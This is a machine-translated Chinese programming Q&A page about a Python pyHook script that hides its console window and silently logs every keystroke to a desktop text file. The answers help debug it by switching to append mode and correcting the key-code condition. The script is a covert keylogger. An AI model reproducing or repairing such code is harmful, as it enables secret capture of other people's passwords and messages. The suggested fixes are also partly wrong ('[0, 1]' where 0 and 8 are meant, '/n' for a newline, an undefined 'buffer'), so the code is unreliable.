2015-09-06 223 views
0

我正在嘗試將我對新文本文件所做的按鍵寫入。 我得到了下面的代碼:python寫入輸出文件

import win32api 
import win32console 
import win32gui 
import pythoncom 
import pyHook 

win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win, 0) 

def OnKeyboardEvent(event): 
    if event.Ascii == 5: 
     _exit(1) 
    if event.Ascii != 0 or 8: 
     f = open('C:\Users\Joey\Desktop\output.txt', 'w+') 
     buffer = f.read() 
     f.close() 

     f = open('C:\Users\Joey\Desktop\output.txt', 'w') 
     keylogs = chr(event.Ascii) 

     if event.Ascii == 13: 
      keylogs = '/n' 
     buffer += keylogs 
     f.write(buffer) 
     f.close() 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

,所以我想這是很好的我沒有得到任何錯誤。但每次我檢查output.txt我看到一個空的文本文件。我的代碼有什麼問題?

+0

您是否嘗試過打印「緩衝區」的內容以確保不將空字符串寫入文件?通過傳遞'a'選項打開語句,而不是重新讀取文件內容,您可以考慮追加到文件。 – albert

回答

2

hereww+之間的差異。你每次都用第二次寫入文件覆蓋文件,以便寫入f=open('C:\Users\Joey\Desktop\output.txt', 'w')

我想象你的文件只有一個換行符。嘗試打開只有a選項每次寫入文件結尾(EOF)。

if event.Ascii != 0 or event.Ascii !=8: 
    f=open('C:\Users\Joey\Desktop\output.txt', 'a') 
    keylogs=chr(event.Ascii) 

    if event.Ascii == 13: 
     keylogs='/n' 
    buffer += keylogs 
    f.write(buffer) 
    f.close() 
+0

感謝@TomNash幫助我:D – joey

1

最初,你if語句總是判斷爲真,應該是:

if event.Ascii != 0 or event.Ascii !=8: 

,或者甚至更好:

if event.Ascii not in [0, 1]: 

另外,文件打開方式可能不是你想要看看這the docs這些破壞。